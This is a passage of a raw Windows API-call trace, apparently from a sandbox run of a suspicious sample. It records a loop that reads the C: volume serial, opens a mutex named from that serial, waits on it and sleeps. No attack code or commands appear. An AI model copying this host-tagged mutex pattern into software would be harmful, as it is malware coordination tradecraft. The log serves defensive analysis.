returned 0xc10000 [0276.603] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0276.603] GetProcessHeap () returned 0xc10000 [0276.604] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0276.604] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0276.604] GetProcessHeap () returned 0xc10000 [0276.604] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0276.604] GetProcessHeap () returned 0xc10000 [0276.604] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4b58 [0276.604] GetProcessHeap () returned 0xc10000 [0276.604] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4768 [0276.605] GetProcessHeap () returned 0xc10000 [0276.605] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4768, Size=0x72) returned 0xcfa020 [0276.605] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0276.605] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0276.605] CloseHandle (hObject=0x27c) returned 1 [0276.605] GetProcessHeap () returned 0xc10000 [0276.605] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4b58 | out: hHeap=0xc10000) returned 1 [0276.605] GetProcessHeap () returned 0xc10000 [0276.605] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa020 | out: hHeap=0xc10000) returned 1 [0276.605] Sleep (dwMilliseconds=0x3e8) [0278.019] GetProcessHeap () returned 0xc10000 [0278.019] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eb88 [0278.019] GetProcessHeap () returned 0xc10000 [0278.019] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed68 [0278.019] GetProcessHeap () returned 0xc10000 [0278.019] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ebd8 [0278.019] GetProcessHeap () returned 0xc10000 [0278.019] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900670 [0278.019] GetProcessHeap () returned 0xc10000 [0278.019] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900670 | out: hHeap=0xc10000) returned 1 [0278.020] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0278.020] GetProcessHeap () returned 0xc10000 [0278.020] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0278.020] GetProcessHeap () returned 0xc10000 [0278.020] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0278.020] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0278.020] GetProcessHeap () returned 0xc10000 [0278.020] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0278.020] GetProcessHeap () returned 0xc10000 [0278.020] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4d08 [0278.020] GetProcessHeap () returned 0xc10000 [0278.020] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4be8 [0278.020] GetProcessHeap () returned 0xc10000 [0278.020] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4be8, Size=0x72) returned 0xcf9e20 [0278.020] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0278.020] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0278.021] CloseHandle (hObject=0x27c) returned 1 [0278.021] GetProcessHeap () returned 0xc10000 [0278.021] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4d08 | out: hHeap=0xc10000) returned 1 [0278.021] GetProcessHeap () returned 0xc10000 [0278.021] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9e20 | out: hHeap=0xc10000) returned 1 [0278.021] Sleep (dwMilliseconds=0x3e8) [0279.192] GetProcessHeap () returned 0xc10000 [0279.192] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ea98 [0279.229] GetProcessHeap () returned 0xc10000 [0279.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef48 [0279.229] GetProcessHeap () returned 0xc10000 [0279.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ef70 [0279.229] GetProcessHeap () returned 0xc10000 [0279.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900670 [0279.229] GetProcessHeap () returned 0xc10000 [0279.229] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900670 | out: hHeap=0xc10000) returned 1 [0279.229] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ef48, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0279.230] GetProcessHeap () returned 0xc10000 [0279.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef70 | out: hHeap=0xc10000) returned 1 [0279.230] GetProcessHeap () returned 0xc10000 [0279.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ea98 | out: hHeap=0xc10000) returned 1 [0279.230] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0279.230] GetProcessHeap () returned 0xc10000 [0279.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0279.230] GetProcessHeap () returned 0xc10000 [0279.230] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4ba0 [0279.230] GetProcessHeap () returned 0xc10000 [0279.231] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4be8 [0279.231] GetProcessHeap () returned 0xc10000 [0279.231] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4be8, Size=0x72) returned 0xcfa320 [0279.231] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0279.231] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0279.231] CloseHandle (hObject=0x27c) returned 1 [0279.231] GetProcessHeap () returned 0xc10000 [0279.231] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4ba0 | out: hHeap=0xc10000) returned 1 [0279.231] GetProcessHeap () returned 0xc10000 [0279.231] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa320 | out: hHeap=0xc10000) returned 1 [0279.231] Sleep (dwMilliseconds=0x3e8) [0280.551] GetProcessHeap () returned 0xc10000 [0280.551] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0280.551] GetProcessHeap () returned 0xc10000 [0280.551] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec78 [0280.551] GetProcessHeap () returned 0xc10000 [0280.551] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ebd8 [0280.551] GetProcessHeap () returned 0xc10000 [0280.551] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900080 [0280.551] GetProcessHeap () returned 0xc10000 [0280.551] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900080 | out: hHeap=0xc10000) returned 1 [0280.551] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0280.551] GetProcessHeap () returned 0xc10000 [0280.551] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0280.551] GetProcessHeap () returned 0xc10000 [0280.551] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0280.551] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0280.552] GetProcessHeap () returned 0xc10000 [0280.552] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec78 | out: hHeap=0xc10000) returned 1 [0280.552] GetProcessHeap () returned 0xc10000 [0280.552] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0280.552] GetProcessHeap () returned 0xc10000 [0280.552] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0280.552] GetProcessHeap () returned 0xc10000 [0280.552] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0xcfa520 [0280.552] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0280.552] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0280.552] CloseHandle (hObject=0x27c) returned 1 [0280.552] GetProcessHeap () returned 0xc10000 [0280.552] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0280.552] GetProcessHeap () returned 0xc10000 [0280.552] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa520 | out: hHeap=0xc10000) returned 1 [0280.552] Sleep (dwMilliseconds=0x3e8) [0281.804] GetProcessHeap () returned 0xc10000 [0281.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0281.804] GetProcessHeap () returned 0xc10000 [0281.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec50 [0281.804] GetProcessHeap () returned 0xc10000 [0281.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2edb8 [0281.804] GetProcessHeap () returned 0xc10000 [0281.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900838 [0281.804] GetProcessHeap () returned 0xc10000 [0281.804] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900838 | out: hHeap=0xc10000) returned 1 [0281.804] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0281.804] GetProcessHeap () returned 0xc10000 [0281.804] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2edb8 | out: hHeap=0xc10000) returned 1 [0281.804] GetProcessHeap () returned 0xc10000 [0281.804] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0281.804] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0281.805] GetProcessHeap () returned 0xc10000 [0281.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec50 | out: hHeap=0xc10000) returned 1 [0281.805] GetProcessHeap () returned 0xc10000 [0281.805] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4b10 [0281.805] GetProcessHeap () returned 0xc10000 [0281.805] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4cc0 [0281.805] GetProcessHeap () returned 0xc10000 [0281.805] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4cc0, Size=0x72) returned 0xcfa4a0 [0281.805] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0281.805] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0281.805] CloseHandle (hObject=0x27c) returned 1 [0281.806] GetProcessHeap () returned 0xc10000 [0281.806] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4b10 | out: hHeap=0xc10000) returned 1 [0281.806] GetProcessHeap () returned 0xc10000 [0281.806] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa4a0 | out: hHeap=0xc10000) returned 1 [0281.806] Sleep (dwMilliseconds=0x3e8) [0283.021] GetProcessHeap () returned 0xc10000 [0283.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eae8 [0283.021] GetProcessHeap () returned 0xc10000 [0283.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed68 [0283.021] GetProcessHeap () returned 0xc10000 [0283.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed90 [0283.021] GetProcessHeap () returned 0xc10000 [0283.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900378 [0283.021] GetProcessHeap () returned 0xc10000 [0283.022] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900378 | out: hHeap=0xc10000) returned 1 [0283.022] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0283.022] GetProcessHeap () returned 0xc10000 [0283.022] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0283.022] GetProcessHeap () returned 0xc10000 [0283.022] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eae8 | out: hHeap=0xc10000) returned 1 [0283.022] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0283.022] GetProcessHeap () returned 0xc10000 [0283.022] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0283.022] GetProcessHeap () returned 0xc10000 [0283.022] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4be8 [0283.022] GetProcessHeap () returned 0xc10000 [0283.023] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4960 [0283.023] GetProcessHeap () returned 0xc10000 [0283.023] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4960, Size=0x72) returned 0xcfa520 [0283.023] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0283.023] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0283.023] CloseHandle (hObject=0x27c) returned 1 [0283.023] GetProcessHeap () returned 0xc10000 [0283.023] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4be8 | out: hHeap=0xc10000) returned 1 [0283.023] GetProcessHeap () returned 0xc10000 [0283.023] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa520 | out: hHeap=0xc10000) returned 1 [0283.023] Sleep (dwMilliseconds=0x3e8) [0284.107] GetProcessHeap () returned 0xc10000 [0284.107] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0284.107] GetProcessHeap () returned 0xc10000 [0284.107] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb88 [0284.107] GetProcessHeap () returned 0xc10000 [0284.107] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee58 [0284.107] GetProcessHeap () returned 0xc10000 [0284.107] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900708 [0284.107] GetProcessHeap () returned 0xc10000 [0284.107] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900708 | out: hHeap=0xc10000) returned 1 [0284.107] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0284.107] GetProcessHeap () returned 0xc10000 [0284.108] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee58 | out: hHeap=0xc10000) returned 1 [0284.108] GetProcessHeap () returned 0xc10000 [0284.108] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0284.108] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0284.108] GetProcessHeap () returned 0xc10000 [0284.108] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0284.108] GetProcessHeap () returned 0xc10000 [0284.108] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4b58 [0284.108] GetProcessHeap () returned 0xc10000 [0284.108] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4888 [0284.109] GetProcessHeap () returned 0xc10000 [0284.109] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4888, Size=0x72) returned 0xcfa020 [0284.109] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0284.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0284.109] CloseHandle (hObject=0x27c) returned 1 [0284.109] GetProcessHeap () returned 0xc10000 [0284.109] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4b58 | out: hHeap=0xc10000) returned 1 [0284.109] GetProcessHeap () returned 0xc10000 [0284.109] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa020 | out: hHeap=0xc10000) returned 1 [0284.109] Sleep (dwMilliseconds=0x3e8) [0286.353] GetProcessHeap () returned 0xc10000 [0286.353] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0286.353] GetProcessHeap () returned 0xc10000 [0286.353] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed90 [0286.353] GetProcessHeap () returned 0xc10000 [0286.353] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2edb8 [0286.353] GetProcessHeap () returned 0xc10000 [0286.353] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900b30 [0286.353] GetProcessHeap () returned 0xc10000 [0286.354] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900b30 | out: hHeap=0xc10000) returned 1 [0286.354] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0286.354] GetProcessHeap () returned 0xc10000 [0286.354] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2edb8 | out: hHeap=0xc10000) returned 1 [0286.354] GetProcessHeap () returned 0xc10000 [0286.354] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0286.354] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0286.355] GetProcessHeap () returned 0xc10000 [0286.355] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0286.355] GetProcessHeap () returned 0xc10000 [0286.355] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca49a8 [0286.355] GetProcessHeap () returned 0xc10000 [0286.355] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4ba0 [0286.355] GetProcessHeap () returned 0xc10000 [0286.355] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4ba0, Size=0x72) returned 0xcfa120 [0286.355] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0286.356] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0286.356] CloseHandle (hObject=0x27c) returned 1 [0286.356] GetProcessHeap () returned 0xc10000 [0286.356] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca49a8 | out: hHeap=0xc10000) returned 1 [0286.356] GetProcessHeap () returned 0xc10000 [0286.356] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa120 | out: hHeap=0xc10000) returned 1 [0286.356] Sleep (dwMilliseconds=0x3e8) [0287.823] GetProcessHeap () returned 0xc10000 [0287.823] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee30 [0287.823] GetProcessHeap () returned 0xc10000 [0287.823] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ee08 [0287.824] GetProcessHeap () returned 0xc10000 [0287.824] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee80 [0287.824] GetProcessHeap () returned 0xc10000 [0287.824] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900f58 [0287.824] GetProcessHeap () returned 0xc10000 [0287.824] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900f58 | out: hHeap=0xc10000) returned 1 [0287.824] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ee08, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0287.824] GetProcessHeap () returned 0xc10000 [0287.824] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee80 | out: hHeap=0xc10000) returned 1 [0287.824] GetProcessHeap () returned 0xc10000 [0287.824] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee30 | out: hHeap=0xc10000) returned 1 [0287.824] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0287.825] GetProcessHeap () returned 0xc10000 [0287.825] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee08 | out: hHeap=0xc10000) returned 1 [0287.825] GetProcessHeap () returned 0xc10000 [0287.825] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4960 [0287.825] GetProcessHeap () returned 0xc10000 [0287.825] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4840 [0287.825] GetProcessHeap () returned 0xc10000 [0287.825] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4840, Size=0x72) returned 0xcfa520 [0287.825] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0287.826] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0287.826] CloseHandle (hObject=0x27c) returned 1 [0287.826] GetProcessHeap () returned 0xc10000 [0287.826] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4960 | out: hHeap=0xc10000) returned 1 [0287.826] GetProcessHeap () returned 0xc10000 [0287.826] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa520 | out: hHeap=0xc10000) returned 1 [0287.826] Sleep (dwMilliseconds=0x3e8) [0289.132] GetProcessHeap () returned 0xc10000 [0289.132] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed90 [0289.132] GetProcessHeap () returned 0xc10000 [0289.132] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ede0 [0289.132] GetProcessHeap () returned 0xc10000 [0289.132] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb38 [0289.132] GetProcessHeap () returned 0xc10000 [0289.132] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900378 [0289.132] GetProcessHeap () returned 0xc10000 [0289.132] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900378 | out: hHeap=0xc10000) returned 1 [0289.132] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ede0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0289.132] GetProcessHeap () returned 0xc10000 [0289.133] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0289.133] GetProcessHeap () returned 0xc10000 [0289.133] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0289.133] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0289.133] GetProcessHeap () returned 0xc10000 [0289.133] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ede0 | out: hHeap=0xc10000) returned 1 [0289.133] GetProcessHeap () returned 0xc10000 [0289.133] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4be8 